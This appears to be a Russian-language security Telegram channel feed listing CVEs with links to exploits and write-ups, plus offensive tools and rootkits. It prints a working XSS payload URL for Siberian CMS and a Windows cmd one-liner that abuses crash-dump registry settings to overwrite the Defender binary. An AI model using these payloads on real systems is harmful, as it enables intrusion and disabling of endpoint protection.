CVE-2025-24118
*
An XNU kernel race condition bug
*
WriteUP
*
POC

Повышение привилегий в Linux с помощью IPTABLES
*
WriteUP
(работать будет скорее на встроенных устройствах, нежели на современных дистрах, но круто)

Vidar stealer - подробнейший Reverse Engineering зверька.
*
Link

LOOOOLz

CVE-2025-21293 Exploit (Active Directory Domain Services)
*
WTF
*
POC exploit

Да уймите уже кто-нибудь эту панду или как променять бамбук на ELF/Sshdinjector.A
*
Chinese cyberspies use new SSH backdoor in network device hacks

#ssh #china #backdoor #bamboo

BlitzSSH - SSH Cracking Tool
*
Казалось бы брутфорсер, но формат подачи данных интересный.
Ну и в телегу стучит по случаю.
Link


#ssh #bruteforce

Помните кулл-стори про 0day в 7zip когда RU хакеры поблэчили UA гос. организации и через них же раскидывали малварь в сентябре 2024 года (SmokeLoader malware) ?
Так вот, есть продолжение ))))
Новый год, новые дыры - CVE-2025-0411
README

CVE-2024-36972
*
Два в одном !
Linux LPE and Container Escape
*
vulnerability affects Linux kernel versions:
v6.8 to v6.9
v5.15.147
v6.1.78
v6.6.17

POC exploit

#Linux #lpe #container #escape

CVE-2025-22604
(CVSS 9.1)
Remote Code Execution Flaw in Cacti
*
POC

CVE-2025-1105
*
Siberian CMS (version - 4.20.6)
*
POC

https://x.x.x.x/app/sae/design/desktop/flat"><img src=x onerror=alert(document.location)>/js/bootstrap-tagsinput.min.js

CVE-2025-23369
*
bypass SAML authentication on GitHub Enterprise
*
WriteUP
*
Exploit

Кто же такой хакер Bratva ?
*
В рамках специального расследования, в нашу редакцию попала секретная VHS запись.
Проанализировав которую, были установлены следующие лица:
Петер Севера
Петр Левашов
Юрист Насковец
Статисты - кадровые офицеры редакции gaz3ta.ru

22летняя RCE в GameBoy
*
Пора патчить тамагочи !
*
WriteUP

CVE-2024-12754 AnyDesk
*
wtf
*
LPE poc exploit

Лидеры среди Telegram-каналов по кибербезопасности
*
полный рейтинг 450 каналов со ссылками

😎

EDR dump (for fun разумеется)

cmd /v/c "set R=reg add HKLM\SYSTEM\CurrentControlSet\Control\CrashControl /f /v&!R! CrashDumpEnabled /d 7 /t 4&!R! DumpFileSize /d 666 /t 4&for /f "delims=*" %i in ('sc qc WinDefend^|find "PATH_"')do (set t=%i&!R! DedicatedDumpFile /d !t:~29,-1!)"

Sunder
*
Это Windows Rootkit на основе Fudmodule Rootkit от Lazarus Group. Ссылка на эту версию Sunder для примера эксплойта драйвера Appid.sys
Уязвимый драйвер Сандера в этой репе GitHub является драйвер Dell dbutil_2_3.sys ( драйвер заблокирован Microsoft).
Сначала нужно разлочить драйвер (см описание в репе)
Sunder Rootkit

опа

Извините))))

onliner

curl -s https://URL | grep -Po "(\/)((?:[a-zA-Z\-_\:\.0-9\{\}]+))(\/)*((?:[a-zA-Z\-_\:\.0-9\{\}]+))(\/)((?:[a-zA-Z\-_\/\:\.0-9\{\}]+))" | sort -u